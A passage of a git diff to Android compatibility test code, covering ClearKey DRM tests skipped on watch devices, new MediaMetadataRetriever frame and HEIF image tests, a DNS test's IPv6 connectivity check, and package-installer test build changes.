if (drcParams != null) {
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index a5ead3f..efb3273 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -15,45 +15,37 @@
*/
package android.media.cts;
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-import android.content.Context;
import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
+import android.media.CamcorderProfile;
import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaCodecList;
import android.media.MediaDrm;
import android.media.MediaDrmException;
import android.media.MediaFormat;
-import android.media.CamcorderProfile;
import android.net.Uri;
-import android.os.Environment;
import android.os.Looper;
-import androidx.annotation.NonNull;
-import android.test.ActivityInstrumentationTestCase2;
import android.util.Base64;
import android.util.Log;
import android.view.SurfaceHolder;
-import java.io.IOException;
-import java.nio.CharBuffer;
-import java.nio.charset.Charset;
-import java.util.Arrays;
-import java.util.ArrayList;
-import java.util.concurrent.TimeUnit;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.UUID;
-import java.util.Vector;
+import com.android.compatibility.common.util.ApiLevelUtil;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.concurrent.TimeUnit;
+
+import androidx.annotation.NonNull;
+
/**
* Tests of MediaPlayer streaming capabilities.
*/
@@ -129,10 +121,13 @@
super.tearDown();
}
+ private boolean isWatchDevice() {
+ return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
private boolean deviceHasMediaDrm() {
// ClearKey is introduced after KitKat.
if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
- Log.i(TAG, "This test is designed to work after Android KitKat.");
return false;
}
return true;
@@ -361,6 +356,11 @@
Uri audioUrl, boolean audioEncrypted,
Uri videoUrl, boolean videoEncrypted,
int videoWidth, int videoHeight, boolean scrambled) throws Exception {
+
+ if (isWatchDevice()) {
+ return;
+ }
+
MediaDrm drm = null;
mSessionId = null;
if (!scrambled) {
@@ -451,12 +451,15 @@
}
public void testQueryKeyStatus() throws Exception {
- MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc", COMMON_PSSH_SCHEME_UUID);
- if (!drm.isCryptoSchemeSupported(COMMON_PSSH_SCHEME_UUID)) {
- stopDrm(drm);
- throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
+ if (isWatchDevice()) {
+ // skip this test on watch because it calls
+ // addTrack that requires codec
+ return;
}
+ MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
+ CLEARKEY_SCHEME_UUID);
+
mSessionId = openSession(drm);
// Test default key status, should not be defined
@@ -516,7 +519,7 @@
public void testClearKeyPlaybackWebm() throws Exception {
testClearKeyPlayback(
- COMMON_PSSH_SCHEME_UUID,
+ CLEARKEY_SCHEME_UUID,
MIME_VIDEO_VP8, new String[0],
"webm", new byte[][] { CLEAR_KEY_WEBM },
WEBM_URL, true /* audioEncrypted */,
@@ -526,7 +529,7 @@
public void testClearKeyPlaybackMpeg2ts() throws Exception {
testClearKeyPlayback(
- COMMON_PSSH_SCHEME_UUID,
+ CLEARKEY_SCHEME_UUID,
MIME_VIDEO_AVC, new String[0],
"mpeg2ts", null,
MPEG2TS_SCRAMBLED_URL, false /* audioEncrypted */,
@@ -536,7 +539,7 @@
public void testPlaybackMpeg2ts() throws Exception {
testClearKeyPlayback(
- COMMON_PSSH_SCHEME_UUID,
+ CLEARKEY_SCHEME_UUID,
MIME_VIDEO_AVC, new String[0],
"mpeg2ts", null,
MPEG2TS_CLEAR_URL, false /* audioEncrypted */,
@@ -593,8 +596,12 @@
}
public void testGetProperties() throws Exception {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC },
- "cenc", COMMON_PSSH_SCHEME_UUID);
+ "cenc", CLEARKEY_SCHEME_UUID);
try {
// The following tests will not verify the value we are getting
@@ -628,8 +635,12 @@
}
public void testSetProperties() throws Exception {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
MediaDrm drm = startDrm(new byte[][]{CLEAR_KEY_CENC},
- "cenc", COMMON_PSSH_SCHEME_UUID);
+ "cenc", CLEARKEY_SCHEME_UUID);
try {
// Test setting predefined string property
@@ -698,8 +709,12 @@
private final static int CLEARKEY_MAX_SESSIONS = 10;
public void testGetNumberOfSessions() {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC },
- "cenc", COMMON_PSSH_SCHEME_UUID);
+ "cenc", CLEARKEY_SCHEME_UUID);
try {
if (getClearkeyVersion(drm).equals("1.0")) {
@@ -730,9 +745,13 @@
}
public void testHdcpLevels() {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
MediaDrm drm = null;
try {
- drm = new MediaDrm(COMMON_PSSH_SCHEME_UUID);
+ drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
if (getClearkeyVersion(drm).equals("1.0")) {
Log.i(TAG, "Skipping testHdcpLevels: not supported by clearkey 1.0");
@@ -747,7 +766,7 @@
throw new Error("expected max hdcp level to be HDCP_NO_DIGITAL_OUTPUT");
}
} catch(Exception e) {
- throw new Error("Unexpected exception", e);
+ throw new Error("Unexpected exception ", e);
} finally {
if (drm != null) {
drm.close();
@@ -756,10 +775,14 @@
}
public void testSecurityLevels() {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
MediaDrm drm = null;
byte[] sessionId = null;
try {
- drm = new MediaDrm(COMMON_PSSH_SCHEME_UUID);
+ drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
if (getClearkeyVersion(drm).equals("1.0")) {
Log.i(TAG, "Skipping testSecurityLevels: not supported by clearkey 1.0");
@@ -794,7 +817,7 @@
}
}
} catch(Exception e) {
- throw new Error("Unexpected exception", e);
+ throw new Error("Unexpected exception ", e);
} finally {
if (sessionId != null) {
drm.closeSession(sessionId);
@@ -806,7 +829,11 @@
}
public void testSecureStop() {
- MediaDrm drm = startDrm(new byte[][] {CLEAR_KEY_CENC}, "cenc", COMMON_PSSH_SCHEME_UUID);
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
+ MediaDrm drm = startDrm(new byte[][] {CLEAR_KEY_CENC}, "cenc", CLEARKEY_SCHEME_UUID);
byte[] sessionId = null;
try {
@@ -815,10 +842,6 @@
return;
}
- if (!drm.isCryptoSchemeSupported(COMMON_PSSH_SCHEME_UUID)) {
- throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
- }
-
drm.removeAllSecureStops();
Log.d(TAG, "Test getSecureStops from an empty list.");
List<byte[]> secureStops = drm.getSecureStops();
@@ -926,4 +949,15 @@
return "unavailable";
}
}
+
+ private boolean watchHasNoClearkeySupport() {
+ if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
+ if (isWatchDevice()) {
+ return true;
+ } else {
+ throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
+ }
+ }
+ return false;
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 58d803e..aa31210 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -22,8 +22,13 @@
import android.content.res.AssetFileDescriptor;
import android.content.res.Resources;
import android.media.MediaDataSource;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
import android.media.MediaMetadataRetriever;
import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.Rect;
import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.test.AndroidTestCase;
@@ -37,7 +42,11 @@
import static android.media.MediaMetadataRetriever.OPTION_NEXT_SYNC;
import static android.media.MediaMetadataRetriever.OPTION_PREVIOUS_SYNC;
+import java.io.InputStream;
import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.function.Function;
@SmallTest
@RequiresDevice
@@ -49,6 +58,19 @@
protected MediaMetadataRetriever mRetriever;
private PackageManager mPackageManager;
+ private static int BORDER_WIDTH = 16;
+ private static Color COLOR_BLOCK =
+ Color.valueOf(1.0f, 1.0f, 1.0f);
+ private static Color[] COLOR_BARS = {
+ Color.valueOf(0.0f, 0.0f, 0.0f),
+ Color.valueOf(0.0f, 0.0f, 0.64f),
+ Color.valueOf(0.0f, 0.64f, 0.0f),
+ Color.valueOf(0.0f, 0.64f, 0.64f),
+ Color.valueOf(0.64f, 0.0f, 0.0f),
+ Color.valueOf(0.64f, 0.0f, 0.64f),
+ Color.valueOf(0.64f, 0.64f, 0.0f),
+ };
+
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -296,6 +318,63 @@
}
private void testGetFrameAtTime(int option, int[][] testCases) {
+ testGetFrameAt(testCases, (r) -> {
+ List<Bitmap> bitmaps = new ArrayList<>();
+ for (int i = 0; i < testCases.length; i++) {
+ bitmaps.add(r.getFrameAtTime(testCases[i][0], option));
+ }
+ return bitmaps;
+ });
+ }
+
+ public void testGetFrameAtIndex() {
+ int[][] testCases = { { 60, 60 }, { 73, 73 }, { 76, 76 }, { 88, 88 }, { 94, 94} };
+
+ testGetFrameAt(testCases, (r) -> {
+ List<Bitmap> bitmaps = new ArrayList<>();
+ for (int i = 0; i < testCases.length; i++) {
+ bitmaps.add(r.getFrameAtIndex(testCases[i][0]));
+ }
+ return bitmaps;
+ });
+
+ MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
+ params.setPreferredConfig(Bitmap.Config.RGB_565);
+ assertEquals("Failed to set preferred config",
+ Bitmap.Config.RGB_565, params.getPreferredConfig());
+
+ testGetFrameAt(testCases, (r) -> {
+ List<Bitmap> bitmaps = new ArrayList<>();
+ for (int i = 0; i < testCases.length; i++) {
+ Bitmap bitmap = r.getFrameAtIndex(testCases[i][0], params);
+ assertEquals(Bitmap.Config.RGB_565, params.getActualConfig());
+ bitmaps.add(bitmap);
+ }
+ return bitmaps;
+ });
+ }
+
+ public void testGetFramesAtIndex() {
+ int[][] testCases = { { 27, 27 }, { 28, 28 }, { 29, 29 }, { 30, 30 }, { 31, 31} };
+
+ testGetFrameAt(testCases, (r) -> {
+ return r.getFramesAtIndex(testCases[0][0], testCases.length);
+ });
+
+ MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
+ params.setPreferredConfig(Bitmap.Config.RGB_565);
+ assertEquals("Failed to set preferred config",
+ Bitmap.Config.RGB_565, params.getPreferredConfig());
+
+ testGetFrameAt(testCases, (r) -> {
+ List<Bitmap> bitmaps = r.getFramesAtIndex(testCases[0][0], testCases.length, params);
+ assertEquals(Bitmap.Config.RGB_565, params.getActualConfig());
+ return bitmaps;
+ });
+ }
+
+ private void testGetFrameAt(int[][] testCases,
+ Function<MediaMetadataRetriever, List<Bitmap> > bitmapRetriever) {
int resId = R.raw.binary_counter_320x240_30fps_600frames;
if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
&& mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
@@ -313,24 +392,23 @@
} catch (IOException e) {
fail("Unable to close file");
}
- for (int[] testCase : testCases) {
- getVideoFrameAndVerify(retriever, testCase[0], testCase[1], option);
+
+ List<Bitmap> bitmaps = bitmapRetriever.apply(retriever);
+
+ for (int i = 0; i < testCases.length; i++) {
+ verifyVideoFrame(bitmaps.get(i), testCases[i]);
}
retriever.release();
}
- private void getVideoFrameAndVerify(
- MediaMetadataRetriever retriever, long timeUs, long expectedCounter, int option) {
+ private void verifyVideoFrame(Bitmap bitmap, int[] testCase) {
try {
- Bitmap bitmap = retriever.getFrameAtTime(timeUs, option);
- if (bitmap == null) {
- fail("Failed to get bitmap at time " + timeUs + " with option " + option);
- }
- assertEquals("Counter value incorrect at time " + timeUs + " with option " + option,
- expectedCounter, CodecUtils.readBinaryCounterFromBitmap(bitmap));
+ assertTrue("Failed to get bitmap for " + testCase[0], bitmap != null);
+ assertEquals("Counter value incorrect for " + testCase[0],
+ testCase[1], CodecUtils.readBinaryCounterFromBitmap(bitmap));
if (SAVE_BITMAP_OUTPUT) {
- CodecUtils.saveBitmapToFile(bitmap, "test" + timeUs + ".jpg");
+ CodecUtils.saveBitmapToFile(bitmap, "test_" + testCase[0] + ".jpg");
}
} catch (Exception e) {
fail("Exception getting bitmap: " + e);
@@ -518,4 +596,147 @@
fail("Exception getting bitmap: " + e);
}
}
+
+ public void testGetImageAtIndex() throws Exception {
+ if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+ MediaUtils.skipTest("no video decoders for resource");
+ return;
+ }
+
+ testGetImage(R.raw.heifwriter_input, 1920, 1080, 0 /*rotation*/,
+ 4 /*imageCount*/, 3 /*primary*/, true /*useGrid*/, true /*checkColor*/);
+ }
+
+ /**
+ * Determines if two color values are approximately equal.
+ */
+ private static boolean approxEquals(Color expected, Color actual) {
+ final float MAX_DELTA = 0.025f;
+ return (Math.abs(expected.red() - actual.red()) <= MAX_DELTA)
+ && (Math.abs(expected.green() - actual.green()) <= MAX_DELTA)
+ && (Math.abs(expected.blue() - actual.blue()) <= MAX_DELTA);
+ }
+
+ private static Rect getColorBarRect(int index, int width, int height) {
+ int barWidth = (width - BORDER_WIDTH * 2) / COLOR_BARS.length;
+ return new Rect(BORDER_WIDTH + barWidth * index, BORDER_WIDTH,
+ BORDER_WIDTH + barWidth * (index + 1), height - BORDER_WIDTH);
+ }
+
+ private static Rect getColorBlockRect(int index, int width, int height) {
+ int blockCenterX = (width / 5) * (index % 4 + 1);
+ return new Rect(blockCenterX - width / 10, height / 6,
+ blockCenterX + width / 10, height / 3);
+ }
+
+ private void testGetImage(
+ int resId, int width, int height, int rotation,
+ int imageCount, int primary, boolean useGrid, boolean checkColor)
+ throws Exception {
+ MediaMetadataRetriever retriever = null;
+ MediaExtractor extractor = null;
+ AssetFileDescriptor afd = null;
+ InputStream inputStream = null;
+
+ try {
+ retriever = new MediaMetadataRetriever();
+
+ Resources resources = getContext().getResources();
+ afd = resources.openRawResourceFd(resId);
+
+ retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+
+ // Verify image related meta keys.
+ String hasImage = retriever.extractMetadata(
+ MediaMetadataRetriever.METADATA_KEY_HAS_IMAGE);
+ assertTrue("No images found in resId " + resId, "yes".equals(hasImage));
+ assertEquals("Wrong width", width,
+ Integer.parseInt(retriever.extractMetadata(
+ MediaMetadataRetriever.METADATA_KEY_IMAGE_WIDTH)));
+ assertEquals("Wrong height", height,
+ Integer.parseInt(retriever.extractMetadata(
+ MediaMetadataRetriever.METADATA_KEY_IMAGE_HEIGHT)));
+ assertEquals("Wrong rotation", rotation,
+ Integer.parseInt(retriever.extractMetadata(
+ MediaMetadataRetriever.METADATA_KEY_IMAGE_ROTATION)));
+ assertEquals("Wrong image count", imageCount,
+ Integer.parseInt(retriever.extractMetadata(
+ MediaMetadataRetriever.METADATA_KEY_IMAGE_COUNT)));
+ assertEquals("Wrong primary index", primary,
+ Integer.parseInt(retriever.extractMetadata(
+ MediaMetadataRetriever.METADATA_KEY_IMAGE_PRIMARY)));
+
+ if (checkColor) {
+ Bitmap bitmap = null;
+ // For each image in the image collection, check the 7 color bars' color.
+ // Also check the position of the color block, which should move left-to-right
+ // with the index.
+ for (int imageIndex = 0; imageIndex < imageCount; imageIndex++) {
+ bitmap = retriever.getImageAtIndex(imageIndex);
+
+ for (int barIndex = 0; barIndex < COLOR_BARS.length; barIndex++) {
+ Rect r = getColorBarRect(barIndex, width, height);
+ assertTrue("Color bar " + barIndex +
+ " for image " + imageIndex + " doesn't match",
+ approxEquals(COLOR_BARS[barIndex], Color.valueOf(
+ bitmap.getPixel(r.centerX(), r.centerY()))));
+ }
+
+ Rect r = getColorBlockRect(imageIndex, width, height);
+ assertTrue("Color block for image " + imageIndex + " doesn't match",
+ approxEquals(COLOR_BLOCK, Color.valueOf(
+ bitmap.getPixel(r.centerX(), height - r.centerY()))));
+ bitmap.recycle();
+ }
+
+ // Check the color block position on the primary image.
+ Rect r = getColorBlockRect(primary, width, height);
+ bitmap = retriever.getPrimaryImage();
+ assertTrue("Color block for primary image doesn't match",
+ approxEquals(COLOR_BLOCK, Color.valueOf(
+ bitmap.getPixel(r.centerX(), height - r.centerY()))));
+ bitmap.recycle();
+
+ // Check the color block position on the bitmap decoded by BitmapFactory.
+ // This should match the primary image as well.
+ inputStream = getContext().getResources().openRawResource(resId);
+ bitmap = BitmapFactory.decodeStream(inputStream);
+ assertTrue("Color block for bitmap decoding doesn't match",
+ approxEquals(COLOR_BLOCK, Color.valueOf(
+ bitmap.getPixel(r.centerX(), height - r.centerY()))));
+ bitmap.recycle();
+ }
+
+ // Check the grid configuration related keys.
+ if (useGrid) {
+ extractor = new MediaExtractor();
+ extractor.setDataSource(
+ afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+ MediaFormat format = extractor.getTrackFormat(0);
+ int tileWidth = format.getInteger(MediaFormat.KEY_TILE_WIDTH);
+ int tileHeight = format.getInteger(MediaFormat.KEY_TILE_HEIGHT);
+ int gridRows = format.getInteger(MediaFormat.KEY_GRID_ROWS);
+ int gridCols = format.getInteger(MediaFormat.KEY_GRID_COLUMNS);
+ assertTrue("Wrong tile width or grid cols",
+ ((width + tileWidth - 1) / tileWidth) == gridCols);
+ assertTrue("Wrong tile height or grid rows",
+ ((height + tileHeight - 1) / tileHeight) == gridRows);
+ }
+ } catch (IOException e) {
+ fail("Unable to open file");
+ } finally {
+ if (retriever != null) {
+ retriever.release();
+ }
+ if (extractor != null) {
+ extractor.release();
+ }
+ if (afd != null) {
+ afd.close();
+ }
+ if (inputStream != null) {
+ inputStream.close();
+ }
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index fcc567b..c169a83 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -104,9 +104,10 @@
public void testSetOnVolumeKeyLongPressListener() throws Exception {
Context context = getInstrumentation().getTargetContext();
- if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK) ||
- context.getResources().getBoolean(Resources.getSystem().getIdentifier(
- "config_handleVolumeKeysInWindowManager", "bool", "android"))) {
+ if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+ || context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)
+ || context.getResources().getBoolean(Resources.getSystem().getIdentifier(
+ "config_handleVolumeKeysInWindowManager", "bool", "android"))) {
// Skip this test, because the PhoneWindowManager dispatches volume key
// events directly to the audio service to change the system volume.
return;
diff --git a/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java
index fb5880ea9..dfbced9 100644
--- a/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java
@@ -15,13 +15,11 @@
*/
package android.media.cts;
-import static org.junit.Assert.assertThat;
-import static org.junit.matchers.JUnitMatchers.containsString;
-
+import android.content.pm.PackageManager;
+import android.media.MediaDrm;
import android.net.Uri;
import android.util.Log;
import android.view.Surface;
-import android.view.SurfaceHolder;
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.MediaUtils;
@@ -29,9 +27,11 @@
import java.nio.ByteBuffer;
import java.util.ArrayList;
-import java.util.Iterator;
import java.util.UUID;
+import static org.junit.Assert.assertThat;
+import static org.junit.matchers.JUnitMatchers.containsString;
+
/**
* Tests MediaDrm NDK APIs. ClearKey system uses a subset of NDK APIs,
* this test only tests the APIs that are supported by ClearKey system.
@@ -96,10 +96,24 @@
super.tearDown();
}
+ private boolean watchHasNoClearkeySupport() {
+ if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
+ if (isWatchDevice()) {
+ return true;
+ } else {
+ throw new Error("Crypto scheme is not supported");
+ }
+ }
+ return false;
+ }
+
+ private boolean isWatchDevice() {
+ return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
private boolean deviceHasMediaDrm() {
// ClearKey is introduced after KitKat.
if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
- Log.i(TAG, "This test is designed to work after Android KitKat.");
return false;
}
return true;
@@ -113,6 +127,10 @@
}
public void testIsCryptoSchemeSupported() throws Exception {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID)));
assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
}
@@ -128,16 +146,28 @@
}
public void testQueryKeyStatus() throws Exception {
- assertTrue(testQueryKeyStatusNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID)));
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
+ assertTrue(testQueryKeyStatusNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
}
public void testFindSessionId() throws Exception {
- assertTrue(testFindSessionIdNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID)));
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
+ assertTrue(testFindSessionIdNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
}
public void testGetPropertyString() throws Exception {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
StringBuffer value = new StringBuffer();
- testGetPropertyStringNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID), "description", value);
+ testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
assertEquals("ClearKey CDM", value.toString());
value.delete(0, value.length());
@@ -149,7 +179,7 @@
StringBuffer value = new StringBuffer();
try {
- testGetPropertyStringNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID),
+ testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
"unknown-property", value);
fail("Should have thrown an exception");
} catch (RuntimeException e) {
@@ -175,8 +205,8 @@
UUID drmSchemeUuid, String mimeType, /*String initDataType,*/ Uri audioUrl, Uri videoUrl,
int videoWidth, int videoHeight) throws Exception {
- if (!isCryptoSchemeSupportedNative(uuidByteArray(drmSchemeUuid))) {
- throw new Error("Crypto scheme is not supported.");
+ if (isWatchDevice()) {
+ return;
}
IConnectionStatus connectionStatus = new ConnectionStatus(mContext);
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 82cd778..3ef70d8 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1054,6 +1054,7 @@
float* data = static_cast<float*>(
glMapBufferRange(GL_ARRAY_BUFFER, 0, desc.width,
GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT));
+ ASSERT_NE(data, nullptr) << "glMapBufferRange on a blob buffer failed";
memcpy(data, kQuadPositions, desc.width);
glUnmapBuffer(GL_ARRAY_BUFFER);
glFinish();
diff --git a/tests/tests/net/src/android/net/cts/DnsTest.java b/tests/tests/net/src/android/net/cts/DnsTest.java
index 8575c33..84231c2 100644
--- a/tests/tests/net/src/android/net/cts/DnsTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsTest.java
@@ -19,6 +19,9 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
+import android.net.LinkProperties;
+import android.net.Network;
import android.net.NetworkInfo;
import android.os.SystemClock;
import android.test.AndroidTestCase;
@@ -29,6 +32,8 @@
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
public class DnsTest extends AndroidTestCase {
@@ -40,6 +45,12 @@
private static final String TAG = "DnsTest";
private static final String PROXY_NETWORK_TYPE = "PROXY";
+ private ConnectivityManager mCm;
+
+ public void setUp() {
+ mCm = getContext().getSystemService(ConnectivityManager.class);
+ }
+
/**
* @return true on success
*/
@@ -57,7 +68,9 @@
* Perf - measure size of first and second tier caches and their effect
* Assert requires network permission
*/
- public void testDnsWorks() {
+ public void testDnsWorks() throws Exception {
+ ensureIpv6Connectivity();
+
InetAddress addrs[] = {};
try {
addrs = InetAddress.getAllByName("www.google.com");
@@ -88,11 +101,14 @@
try {
addrs = InetAddress.getAllByName("ipv6.google.com");
} catch (UnknownHostException e) {}
- assertTrue("[RERUN] DNS could not resolve ipv6.google.com, check the network supports IPv6",
- addrs.length != 0);
+ String msg =
+ "[RERUN] DNS could not resolve ipv6.google.com, check the network supports IPv6. lp=" +
+ mCm.getActiveLinkProperties();
+ assertTrue(msg, addrs.length != 0);
for (InetAddress addr : addrs) {
- assertFalse ("[RERUN] ipv6.google.com returned IPv4 address: " + addr.getHostAddress() +
- ", check your network's DNS server", addr instanceof Inet4Address);
+ msg = "[RERUN] ipv6.google.com returned IPv4 address: " + addr.getHostAddress() +
+ ", check your network's DNS server. lp=" + mCm.getActiveLinkProperties();
+ assertFalse (msg, addr instanceof Inet4Address);
foundV6 |= (addr instanceof Inet6Address);
if (DBG) Log.e(TAG, "ipv6.google.com gave " + addr.toString());
}
@@ -256,13 +272,35 @@
}
private boolean activeNetworkInfoIsProxy() {
- ConnectivityManager cm = (ConnectivityManager)
- getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
- NetworkInfo info = cm.getActiveNetworkInfo();
+ NetworkInfo info = mCm.getActiveNetworkInfo();
if (PROXY_NETWORK_TYPE.equals(info.getTypeName())) {
return true;
}
return false;
}
+
+ private void ensureIpv6Connectivity() throws InterruptedException {
+ CountDownLatch latch = new CountDownLatch(1);
+ final int TIMEOUT_MS = 5_000;
+
+ final NetworkCallback callback = new NetworkCallback() {
+ @Override
+ public void onLinkPropertiesChanged(Network network, LinkProperties lp) {
+ if (lp.hasGlobalIPv6Address()) {
+ latch.countDown();
+ }
+ }
+ };
+ mCm.registerDefaultNetworkCallback(callback);
+
+ String msg = "Default network did not provide IPv6 connectivity after " + TIMEOUT_MS
+ + "ms. Please connect to an IPv6-capable network. lp="
+ + mCm.getActiveLinkProperties();
+ try {
+ assertTrue(msg, latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ } finally {
+ mCm.unregisterNetworkCallback(callback);
+ }
+ }
}
diff --git a/tests/tests/packageinstaller/externalsources/Android.mk b/tests/tests/packageinstaller/externalsources/Android.mk
index 05e43ca..b7346b5 100755
--- a/tests/tests/packageinstaller/externalsources/Android.mk
+++ b/tests/tests/packageinstaller/externalsources/Android.mk
@@ -24,12 +24,14 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test androidx.legacy_legacy-support-v4
+LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator \
+ android-support-test \
+ androidx.legacy_legacy-support-v4 \
+ compatibility-device-util
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
index 8bcdd04..728ac72 100755
--- a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
@@ -15,7 +15,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.packageinstaller.externalsources.cts" >
+ package="android.packageinstaller.externalsources.cts"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java
new file mode 100644
index 0000000..7aa6a57
--- /dev/null
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
